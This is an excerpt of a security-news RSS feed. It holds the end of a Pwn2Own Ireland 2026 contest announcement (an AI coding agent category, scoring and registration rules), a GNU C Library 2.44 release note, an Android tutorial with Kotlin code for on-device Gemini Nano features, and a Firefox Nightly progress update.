
<p><a data-preserve-html-node="true" name="agents"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Master of Pwn</strong></p><p class="">No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick <a href="https://pbs.twimg.com/media/Eyexso3WUAYbXPK?format=jpg&amp;name=4096x4096">trophy</a>, a different sort of <a href="https://twitter.com/thezdi/status/1240400682034909187">wearable</a>, and brings with it an additional 65,000 ZDI reward points (instant <a href="https://www.zerodayinitiative.com/about/benefits/">Platinum</a> status in 2027).</p><p class="">For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.</p><p class=""><strong>The Complete Details</strong></p><p class="">The full set of rules for Pwn2Own Ireland 2026 can be found <a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank">here</a>. They may be changed at any time without notice. We <strong>highly encourage</strong> potential entrants to read the rules <em>thoroughly</em> and <em>completely</em> should they choose to participate. We also encourage contestants to read <a href="https://www.zerodayinitiative.com/blog/2022/5/3/what-to-expect-when-exploiting-a-guide-to-pwn2own-participation" target="_blank">this blog</a> covering what to expect when participating in Pwn2Own.</p><p class="">Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Tokyo%202023%20Registration">pwn2own@trendmicro.com</a> to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.</p><p class=""><strong>The Results</strong></p><p class="">We’ll be <a href="https://www.zerodayinitiative.com/blog" target="_blank">blogging</a> and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at <a href="https://twitter.com/thezdi" target="_blank">@thezdi</a> and <a href="https://twitter.com/trendaisecurity" target="_blank">@trendaisecurity</a>, and keep an eye on the <a href="https://twitter.com/search?q=%23p2oireland">#P2OIreland</a> hashtag for continuing coverage. </p><p class="">We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.</p><p class=""> </p><p class="">©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[GNU C Library 2.44 released]]></title>
<description><![CDATA[Version 2.44 of the
GNU C Library has been released.  Changes include a new
/etc/tunables.conf file for the system-wide setting of tunable
parameters, a new tunable to control the use of transparent huge pages for
read-only executable segments, a number of math-function improvements, a
handful of...]]></description>
<link>https://tsecurity.de/de/3693990/linux-tipps/gnu-c-library-244-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693990/linux-tipps/gnu-c-library-244-released/</guid>
<pubDate>Sat, 25 Jul 2026 15:56:25 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://lwn.net/ml/all/teaVXxrfQH2qv0xBul7sXg@gentoo.org">Version 2.44</a> of the
GNU C Library has been released.  Changes include a new
<tt>/etc/tunables.conf</tt> file for the system-wide setting of tunable
parameters, a new tunable to control the use of transparent huge pages for
read-only executable segments, a number of math-function improvements, a
handful of security fixes, and more.]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
